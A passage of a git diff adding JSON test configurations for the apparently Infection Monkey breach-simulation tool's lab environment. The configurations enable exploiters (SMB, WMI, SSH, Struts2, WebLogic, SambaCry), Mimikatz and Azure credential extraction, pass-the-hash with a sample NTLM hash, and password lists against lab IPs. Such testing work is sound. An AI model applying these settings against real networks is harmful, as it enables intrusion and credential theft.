"user_to_add": "Monkey_IUSER_SUPPORT" + }, + "rdp_grinder": { + "rdp_use_vbs_download": true + }, + "sambacry": { + "sambacry_folder_paths_to_guess": [ + "/", + "/mnt", + "/tmp", + "/storage", + "/export", + "/share", + "/shares", + "/home" + ], + "sambacry_shares_not_to_check": [ + "IPC$", + "print$" + ], + "sambacry_trigger_timeout": 5 + }, + "smb_service": { + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey" + } + }, + "internal": { + "classes": { + "finger_classes": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ] + }, + "dropper": { + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_set_date": true, + "dropper_target_path_linux": "/tmp/monkey", + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", + "dropper_try_move_first": true + }, + "exploits": { + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], + "exploit_ssh_keys": [] + }, + "general": { + "keep_tunnel_open_time": 1, + "monkey_dir_name": "monkey_dir", + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}" + }, + "kill_file": { + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not" + }, + "logging": { + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "send_log_to_server": true + } + }, + "monkey": { + "behaviour": { + "PBA_linux_filename": "", + "PBA_windows_filename": "", + "custom_PBA_linux_cmd": "", + "custom_PBA_windows_cmd": "", + "self_delete_in_cleanup": true, + "serialize_config": false, + "use_file_logging": true + }, + "general": { + "alive": true, + "post_breach_actions": [] + }, + "life_cycle": { + "max_iterations": 1, + "retry_failed_explotation": true, + "timeout_between_iterations": 100, + "victims_max_exploit": 7, + "victims_max_find": 30 + }, + "system_info": { + "collect_system_info": true, + "extract_azure_creds": true, + "should_use_mimikatz": true + } + }, + "network": { + "ping_scanner": { + "ping_scan_timeout": 1000 + }, + "tcp_scanner": { + "HTTP_PORTS": [ + 80, + 8080, + 443, + 8008, + 7001 + ], + "tcp_scan_get_banner": true, + "tcp_scan_interval": 0, + "tcp_scan_timeout": 3000, + "tcp_target_ports": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 9200, + 7001 + ] + } + } +} diff --git a/envs/monkey_zoo/blackbox/island_configs/SMB_PTH.conf b/envs/monkey_zoo/blackbox/island_configs/SMB_PTH.conf new file mode 100644 index 000000000..d17e283c8 --- /dev/null +++ b/envs/monkey_zoo/blackbox/island_configs/SMB_PTH.conf @@ -0,0 +1,180 @@ +{ + "basic": { + "credentials": { + "exploit_password_list": [ + "Password1!" + ], + "exploit_user_list": [ + "Administrator", + "m0nk3y", + "user" + ] + }, + "general": { + "should_exploit": true + } + }, + "basic_network": { + "general": { + "blocked_ips": [], + "depth": 2, + "local_network_scan": false, + "subnet_scan_list": [ + "10.2.2.15" + ] + }, + "network_analysis": { + "inaccessible_subnets": [] + } + }, + "cnc": { + "servers": { + "command_servers": [ + "10.2.2.251:5000" + ], + "current_server": "10.2.2.251:5000", + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ] + } + }, + "exploits": { + "general": { + "exploiter_classes": [ + "SmbExploiter" + ], + "skip_exploit_if_file_exist": false + }, + "ms08_067": { + "ms08_067_exploit_attempts": 5, + "remote_user_pass": "Password1!", + "user_to_add": "Monkey_IUSER_SUPPORT" + }, + "rdp_grinder": { + "rdp_use_vbs_download": true + }, + "sambacry": { + "sambacry_folder_paths_to_guess": [ + "/", + "/mnt", + "/tmp", + "/storage", + "/export", + "/share", + "/shares", + "/home" + ], + "sambacry_shares_not_to_check": [ + "IPC$", + "print$" + ], + "sambacry_trigger_timeout": 5 + }, + "smb_service": { + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey" + } + }, + "internal": { + "classes": { + "finger_classes": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ] + }, + "dropper": { + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_set_date": true, + "dropper_target_path_linux": "/tmp/monkey", + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", + "dropper_try_move_first": true + }, + "exploits": { + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [ "f7e457346f7743daece17258667c936d" ], + "exploit_ssh_keys": [] + }, + "general": { + "keep_tunnel_open_time": 1, + "monkey_dir_name": "monkey_dir", + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}" + }, + "kill_file": { + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not" + }, + "logging": { + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "send_log_to_server": true + } + }, + "monkey": { + "behaviour": { + "PBA_linux_filename": "", + "PBA_windows_filename": "", + "custom_PBA_linux_cmd": "", + "custom_PBA_windows_cmd": "", + "self_delete_in_cleanup": true, + "serialize_config": false, + "use_file_logging": true + }, + "general": { + "alive": true, + "post_breach_actions": [] + }, + "life_cycle": { + "max_iterations": 1, + "retry_failed_explotation": true, + "timeout_between_iterations": 100, + "victims_max_exploit": 7, + "victims_max_find": 30 + }, + "system_info": { + "collect_system_info": true, + "extract_azure_creds": true, + "should_use_mimikatz": true + } + }, + "network": { + "ping_scanner": { + "ping_scan_timeout": 1000 + }, + "tcp_scanner": { + "HTTP_PORTS": [ + 80, + 8080, + 443, + 8008, + 7001 + ], + "tcp_scan_get_banner": true, + "tcp_scan_interval": 0, + "tcp_scan_timeout": 3000, + "tcp_target_ports": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 9200, + 7001 + ] + } + } +} diff --git a/envs/monkey_zoo/blackbox/island_configs/SSH.conf b/envs/monkey_zoo/blackbox/island_configs/SSH.conf new file mode 100644 index 000000000..e96894111 --- /dev/null +++ b/envs/monkey_zoo/blackbox/island_configs/SSH.conf @@ -0,0 +1,192 @@ +{ + "basic": { + "credentials": { + "exploit_password_list": [ + "Password1!", + "12345678", + "^NgDvY59~8" + ], + "exploit_user_list": [ + "Administrator", + "m0nk3y", + "user" + ] + }, + "general": { + "should_exploit": true + } + }, + "basic_network": { + "general": { + "blocked_ips": [], + "depth": 2, + "local_network_scan": false, + "subnet_scan_list": [ + "10.2.2.41", + "10.2.2.42" + ] + }, + "network_analysis": { + "inaccessible_subnets": [] + } + }, + "cnc": { + "servers": { + "command_servers": [ + "10.2.2.251:5000" + ], + "current_server": "10.2.2.251:5000", + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ] + } + }, + "exploits": { + "general": { + "exploiter_classes": [ + "SmbExploiter", + "WmiExploiter", + "SSHExploiter", + "ShellShockExploiter", + "SambaCryExploiter", + "ElasticGroovyExploiter", + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter", + "VSFTPDExploiter" + ], + "skip_exploit_if_file_exist": false + }, + "ms08_067": { + "ms08_067_exploit_attempts": 5, + "remote_user_pass": "Password1!", + "user_to_add": "Monkey_IUSER_SUPPORT" + }, + "rdp_grinder": { + "rdp_use_vbs_download": true + }, + "sambacry": { + "sambacry_folder_paths_to_guess": [ + "/", + "/mnt", + "/tmp", + "/storage", + "/export", + "/share", + "/shares", + "/home" + ], + "sambacry_shares_not_to_check": [ + "IPC$", + "print$" + ], + "sambacry_trigger_timeout": 5 + }, + "smb_service": { + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey" + } + }, + "internal": { + "classes": { + "finger_classes": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ] + }, + "dropper": { + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_set_date": true, + "dropper_target_path_linux": "/tmp/monkey", + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", + "dropper_try_move_first": true + }, + "exploits": { + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], + "exploit_ssh_keys": [] + }, + "general": { + "keep_tunnel_open_time": 1, + "monkey_dir_name": "monkey_dir", + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}" + }, + "kill_file": { + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not" + }, + "logging": { + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "send_log_to_server": true + } + }, + "monkey": { + "behaviour": { + "PBA_linux_filename": "", + "PBA_windows_filename": "", + "custom_PBA_linux_cmd": "", + "custom_PBA_windows_cmd": "", + "self_delete_in_cleanup": true, + "serialize_config": false, + "use_file_logging": true + }, + "general": { + "alive": true, + "post_breach_actions": [] + }, + "life_cycle": { + "max_iterations": 1, + "retry_failed_explotation": true, + "timeout_between_iterations": 100, + "victims_max_exploit": 7, + "victims_max_find": 30 + }, + "system_info": { + "collect_system_info": true, + "extract_azure_creds": true, + "should_use_mimikatz": true + } + }, + "network": { + "ping_scanner": { + "ping_scan_timeout": 1000 + }, + "tcp_scanner": { + "HTTP_PORTS": [ + 80, + 8080, + 443, + 8008, + 7001 + ], + "tcp_scan_get_banner": true, + "tcp_scan_interval": 0, + "tcp_scan_timeout": 3000, + "tcp_target_ports": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 9200, + 7001 + ] + } + } +} diff --git a/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf b/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf new file mode 100644 index 000000000..30bb135e4 --- /dev/null +++ b/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf @@ -0,0 +1,193 @@ +{ + "basic": { + "credentials": { + "exploit_password_list": [ + "Password1!", + "1234", + "password", + "12345678" + ], + "exploit_user_list": [ + "Administrator", + "root", + "user" + ] + }, + "general": { + "should_exploit": true + } + }, + "basic_network": { + "general": { + "blocked_ips": [], + "depth": 2, + "local_network_scan": false, + "subnet_scan_list": [ + "10.2.2.9", + "10.2.2.11" + ] + }, + "network_analysis": { + "inaccessible_subnets": [] + } + }, + "cnc": { + "servers": { + "command_servers": [ + "10.2.2.251:5000" + ], + "current_server": "10.2.2.251:5000", + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ] + } + }, + "exploits": { + "general": { + "exploiter_classes": [ + "SmbExploiter", + "WmiExploiter", + "SSHExploiter", + "ShellShockExploiter", + "SambaCryExploiter", + "ElasticGroovyExploiter", + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter", + "VSFTPDExploiter" + ], + "skip_exploit_if_file_exist": false + }, + "ms08_067": { + "ms08_067_exploit_attempts": 5, + "remote_user_pass": "Password1!", + "user_to_add": "Monkey_IUSER_SUPPORT" + }, + "rdp_grinder": { + "rdp_use_vbs_download": true + }, + "sambacry": { + "sambacry_folder_paths_to_guess": [ + "/", + "/mnt", + "/tmp", + "/storage", + "/export", + "/share", + "/shares", + "/home" + ], + "sambacry_shares_not_to_check": [ + "IPC$", + "print$" + ], + "sambacry_trigger_timeout": 5 + }, + "smb_service": { + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey" + } + }, + "internal": { + "classes": { + "finger_classes": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ] + }, + "dropper": { + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_set_date": true, + "dropper_target_path_linux": "/tmp/monkey", + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", + "dropper_try_move_first": true + }, + "exploits": { + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], + "exploit_ssh_keys": [] + }, + "general": { + "keep_tunnel_open_time": 1, + "monkey_dir_name": "monkey_dir", + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}" + }, + "kill_file": { + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not" + }, + "logging": { + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "send_log_to_server": true + } + }, + "monkey": { + "behaviour": { + "PBA_linux_filename": "", + "PBA_windows_filename": "", + "custom_PBA_linux_cmd": "", + "custom_PBA_windows_cmd": "", + "self_delete_in_cleanup": true, + "serialize_config": false, + "use_file_logging": true + }, + "general": { + "alive": true, + "post_breach_actions": [] + }, + "life_cycle": { + "max_iterations": 1, + "retry_failed_explotation": true, + "timeout_between_iterations": 100, + "victims_max_exploit": 7, + "victims_max_find": 30 + }, + "system_info": { + "collect_system_info": true, + "extract_azure_creds": true, + "should_use_mimikatz": true + } + }, + "network": { + "ping_scanner": { + "ping_scan_timeout": 1000 + }, + "tcp_scanner": { + "HTTP_PORTS": [ + 80, + 8080, + 443, + 8008, + 7001 + ], + "tcp_scan_get_banner": true, + "tcp_scan_interval": 0, + "tcp_scan_timeout": 3000, + "tcp_target_ports": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 9200, + 7001 + ] + } + } +} diff --git a/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf b/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf new file mode 100644 index 000000000..a7e84f1b8 --- /dev/null +++ b/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf @@ -0,0 +1,194 @@ +{ + "basic": { + "credentials": { + "exploit_password_list": [ + "Password1!", + "3Q=(Ge(+&w]*", + "`))jU7L(w}", + "12345678" + ], + "exploit_user_list": [ + "Administrator", + "m0nk3y", + "user" + ] + }, + "general": { + "should_exploit": true + } + }, + "basic_network": { + "general": { + "blocked_ips": [], + "depth": 3, + "local_network_scan": false, + "subnet_scan_list": [ + "10.2.2.32", + "10.2.1.10", + "10.2.0.11" + ] + }, + "network_analysis": { + "inaccessible_subnets": [] + } + }, + "cnc": { + "servers": { + "command_servers": [ + "10.2.2.251:5000" + ], + "current_server": "10.2.2.251:5000", + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ] + } + }, + "exploits": { + "general": { + "exploiter_classes": [ + "SmbExploiter", + "WmiExploiter", + "SSHExploiter", + "ShellShockExploiter", + "SambaCryExploiter", + "ElasticGroovyExploiter", + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter", + "VSFTPDExploiter" + ], + "skip_exploit_if_file_exist": false + }, + "ms08_067": { + "ms08_067_exploit_attempts": 5, + "remote_user_pass": "Password1!", + "user_to_add": "Monkey_IUSER_SUPPORT" + }, + "rdp_grinder": { + "rdp_use_vbs_download": true + }, + "sambacry": { + "sambacry_folder_paths_to_guess": [ + "/", + "/mnt", + "/tmp", + "/storage", + "/export", + "/share", + "/shares", + "/home" + ], + "sambacry_shares_not_to_check": [ + "IPC$", + "print$" + ], + "sambacry_trigger_timeout": 5 + }, + "smb_service": { + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey" + } + }, + "internal": { + "classes": { + "finger_classes": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ] + }, + "dropper": { + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_set_date": true, + "dropper_target_path_linux": "/tmp/monkey", + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", + "dropper_try_move_first": true + }, + "exploits": { + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], + "exploit_ssh_keys": [] + }, + "general": { + "keep_tunnel_open_time": 60, + "monkey_dir_name": "monkey_dir", + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}" + }, + "kill_file": { + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not" + }, + "logging": { + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "send_log_to_server": true + } + }, + "monkey": { + "behaviour": { + "PBA_linux_filename": "", + "PBA_windows_filename": "", + "custom_PBA_linux_cmd": "", + "custom_PBA_windows_cmd": "", + "self_delete_in_cleanup": true, + "serialize_config": false, + "use_file_logging": true + }, + "general": { + "alive": true, + "post_breach_actions": [] + }, + "life_cycle": { + "max_iterations": 1, + "retry_failed_explotation": true, + "timeout_between_iterations": 100, + "victims_max_exploit": 7, + "victims_max_find": 30 + }, + "system_info": { + "collect_system_info": true, + "extract_azure_creds": true, + "should_use_mimikatz": true + } + }, + "network": { + "ping_scanner": { + "ping_scan_timeout": 1000 + }, + "tcp_scanner": { + "HTTP_PORTS": [ + 80, + 8080, + 443, + 8008, + 7001 + ], + "tcp_scan_get_banner": true, + "tcp_scan_interval": 0, + "tcp_scan_timeout": 3000, + "tcp_target_ports": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 9200, + 7001 + ] + } + } +} diff --git a/envs/monkey_zoo/blackbox/island_configs/WEBLOGIC.conf b/envs/monkey_zoo/blackbox/island_configs/WEBLOGIC.conf new file mode 100644 index 000000000..b86b2b566 --- /dev/null +++ b/envs/monkey_zoo/blackbox/island_configs/WEBLOGIC.conf @@ -0,0 +1,184 @@ +{ + "basic": { + "credentials": { + "exploit_password_list": [ + "Password1!", + "1234", + "password", + "12345678" + ], + "exploit_user_list": [ + "Administrator", + "root", + "user" + ] + }, + "general": { + "should_exploit": true + } + }, + "basic_network": { + "general": { + "blocked_ips": [], + "depth": 2, + "local_network_scan": false, + "subnet_scan_list": [ + "10.2.2.18", + "10.2.2.19" + ] + }, + "network_analysis": { + "inaccessible_subnets": [] + } + }, + "cnc": { + "servers": { + "command_servers": [ + "10.2.2.251:5000" + ], + "current_server": "10.2.2.251:5000", + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ] + } + }, + "exploits": { + "general": { + "exploiter_classes": [ + "WebLogicExploiter" + ], + "skip_exploit_if_file_exist": false + }, + "ms08_067": { + "ms08_067_exploit_attempts": 5, + "remote_user_pass": "Password1!", + "user_to_add": "Monkey_IUSER_SUPPORT" + }, + "rdp_grinder": { + "rdp_use_vbs_download": true + }, + "sambacry": { + "sambacry_folder_paths_to_guess": [ + "/", + "/mnt", + "/tmp", + "/storage", + "/export", + "/share", + "/shares", + "/home" + ], + "sambacry_shares_not_to_check": [ + "IPC$", + "print$" + ], + "sambacry_trigger_timeout": 5 + }, + "smb_service": { + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey" + } + }, + "internal": { + "classes": { + "finger_classes": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ] + }, + "dropper": { + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_set_date": true, + "dropper_target_path_linux": "/tmp/monkey", + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", + "dropper_try_move_first": true + }, + "exploits": { + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], + "exploit_ssh_keys": [] + }, + "general": { + "keep_tunnel_open_time": 1, + "monkey_dir_name": "monkey_dir", + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}" + }, + "kill_file": { + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not" + }, + "logging": { + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "send_log_to_server": true + } + }, + "monkey": { + "behaviour": { + "PBA_linux_filename": "", + "PBA_windows_filename": "", + "custom_PBA_linux_cmd": "", + "custom_PBA_windows_cmd": "", + "self_delete_in_cleanup": true, + "serialize_config": false, + "use_file_logging": true + }, + "general": { + "alive": true, + "post_breach_actions": [] + }, + "life_cycle": { + "max_iterations": 1, + "retry_failed_explotation": true, + "timeout_between_iterations": 100, + "victims_max_exploit": 7, + "victims_max_find": 30 + }, + "system_info": { + "collect_system_info": true, + "extract_azure_creds": true, + "should_use_mimikatz": true + } + }, + "network": { + "ping_scanner": { + "ping_scan_timeout": 1000 + }, + "tcp_scanner": { + "HTTP_PORTS": [ + 80, + 8080, + 443, + 8008, + 7001 + ], + "tcp_scan_get_banner": true, + "tcp_scan_interval": 0, + "tcp_scan_timeout": 3000, + "tcp_target_ports": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 9200, + 7001 + ] + } + } +} diff --git a/envs/monkey_zoo/blackbox/island_configs/WMI_MIMIKATZ.conf b/envs/monkey_zoo/blackbox/island_configs/WMI_MIMIKATZ.conf new file mode 100644 index 000000000..1498530d5 --- /dev/null +++ b/envs/monkey_zoo/blackbox/island_configs/WMI_MIMIKATZ.conf @@ -0,0 +1,190 @@ +{ + "basic": { + "credentials": { + "exploit_password_list": [ + "Password1!", + "Ivrrw5zEzs" + ], + "exploit_user_list": [ + "Administrator", + "m0nk3y", + "user" + ] + }, + "general": { + "should_exploit": true + } + }, + "basic_network": { + "general": { + "blocked_ips": [], + "depth": 2, + "local_network_scan": false, + "subnet_scan_list": [ + "10.2.2.44", + "10.2.2.15" + ] + }, + "network_analysis": { + "inaccessible_subnets": [] + } + }, + "cnc": { + "servers": { + "command_servers": [ + "10.2.2.251:5000" + ], + "current_server": "10.2.2.251:5000", + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ] + } + }, + "exploits": { + "general": { + "exploiter_classes": [ + "WmiExploiter", + "SSHExploiter", + "ShellShockExploiter", + "SambaCryExploiter", + "ElasticGroovyExploiter", + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter", + "VSFTPDExploiter" + ], + "skip_exploit_if_file_exist": false + }, + "ms08_067": { + "ms08_067_exploit_attempts": 5, + "remote_user_pass": "Password1!", + "user_to_add": "Monkey_IUSER_SUPPORT" + }, + "rdp_grinder": { + "rdp_use_vbs_download": true + }, + "sambacry": { + "sambacry_folder_paths_to_guess": [ + "/", + "/mnt", + "/tmp", + "/storage", + "/export", + "/share", + "/shares", + "/home" + ], + "sambacry_shares_not_to_check": [ + "IPC$", + "print$" + ], + "sambacry_trigger_timeout": 5 + }, + "smb_service": { + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey" + } + }, + "internal": { + "classes": { + "finger_classes": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ] + }, + "dropper": { + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_set_date": true, + "dropper_target_path_linux": "/tmp/monkey", + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", + "dropper_try_move_first": true + }, + "exploits": { + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], + "exploit_ssh_keys": [] + }, + "general": { + "keep_tunnel_open_time": 1, + "monkey_dir_name": "monkey_dir", + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}" + }, + "kill_file": { + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not" + }, + "logging": { + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "send_log_to_server": true + } + }, + "monkey": { + "behaviour": { + "PBA_linux_filename": "", + "PBA_windows_filename": "", + "custom_PBA_linux_cmd": "", + "custom_PBA_windows_cmd": "", + "self_delete_in_cleanup": true, + "serialize_config": false, + "use_file_logging": true + }, + "general": { + "alive": true, + "post_breach_actions": [] + }, + "life_cycle": { + "max_iterations": 1, + "retry_failed_explotation": true, + "timeout_between_iterations": 100, + "victims_max_exploit": 7, + "victims_max_find": 30 + }, + "system_info": { + "collect_system_info": true, + "extract_azure_creds": true, + "should_use_mimikatz": true + } + }, + "network": { + "ping_scanner": { + "ping_scan_timeout": 1000 + }, + "tcp_scanner": { + "HTTP_PORTS": [ + 80, + 8080, + 443, + 8008, + 7001 + ], + "tcp_scan_get_banner": true, + "tcp_scan_interval": 0, + "tcp_scan_timeout": 3000, + "tcp_target_ports": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 9200, + 7001 + ] + } + } +} diff --git a/envs/monkey_zoo/blackbox/island_configs/WMI_PTH.conf b/envs/monkey_zoo/blackbox/island_configs/WMI_PTH.conf new file mode 100644 index 000000000..1ac0a6c3d --- /dev/null +++ b/envs/monkey_zoo/blackbox/island_configs/WMI_PTH.conf @@ -0,0 +1,188 @@ +{ + "basic": { + "credentials": { + "exploit_password_list": [ + "Password1!" + ], + "exploit_user_list": [ + "Administrator", + "m0nk3y", + "user" + ] + }, + "general": { + "should_exploit": true + } + }, + "basic_network": { + "general": { + "blocked_ips": [], + "depth": 2, + "local_network_scan": false, + "subnet_scan_list": [ + "10.2.2.15" + ] + }, + "network_analysis": { + "inaccessible_subnets": [] + } + }, + "cnc": { + "servers": { + "command_servers": [ + "10.2.2.251:5000" + ], + "current_server": "10.2.2.251:5000", + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ] + } + }, + "exploits": { + "general": { + "exploiter_classes": [ + "WmiExploiter", + "SSHExploiter", + "ShellShockExploiter", + "SambaCryExploiter", + "ElasticGroovyExploiter", + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter", + "VSFTPDExploiter" + ], + "skip_exploit_if_file_exist": false + }, + "ms08_067": { + "ms08_067_exploit_attempts": 5, + "remote_user_pass": "Password1!", + "user_to_add": "Monkey_IUSER_SUPPORT" + }, + "rdp_grinder": { + "rdp_use_vbs_download": true + }, + "sambacry": { + "sambacry_folder_paths_to_guess": [ + "/", + "/mnt", + "/tmp", + "/storage", + "/export", + "/share", + "/shares", + "/home" + ], + "sambacry_shares_not_to_check": [ + "IPC$", + "print$" + ], + "sambacry_trigger_timeout": 5 + }, + "smb_service": { + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey" + } + }, + "internal": { + "classes": { + "finger_classes": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ] + }, + "dropper": { + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_set_date": true, + "dropper_target_path_linux": "/tmp/monkey", + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", + "dropper_try_move_first": true + }, + "exploits": { + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [ "f7e457346f7743daece17258667c936d" ], + "exploit_ssh_keys": [] + }, + "general": { + "keep_tunnel_open_time": 1, + "monkey_dir_name": "monkey_dir", + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}" + }, + "kill_file": { + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not" + }, + "logging": { + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "send_log_to_server": true + } + }, + "monkey": { + "behaviour": { + "PBA_linux_filename": "", + "PBA_windows_filename": "", + "custom_PBA_linux_cmd": "", + "custom_PBA_windows_cmd": "", + "self_delete_in_cleanup": true, + "serialize_config": false, + "use_file_logging": true + }, + "general": { + "alive": true, + "post_breach_actions": [] + }, + "life_cycle": { + "max_iterations": 1, + "retry_failed_explotation": true, + "timeout_between_iterations": 100, + "victims_max_exploit": 7, + "victims_max_find": 30 + }, + "system_info": { + "collect_system_info": true, + "extract_azure_creds": true, + "should_use_mimikatz": true + } + }, + "network": { + "ping_scanner": { + "ping_scan_timeout": 1000 + }, + "tcp_scanner": { + "HTTP_PORTS": [ + 80, + 8080, + 443, + 8008, + 7001 + ], 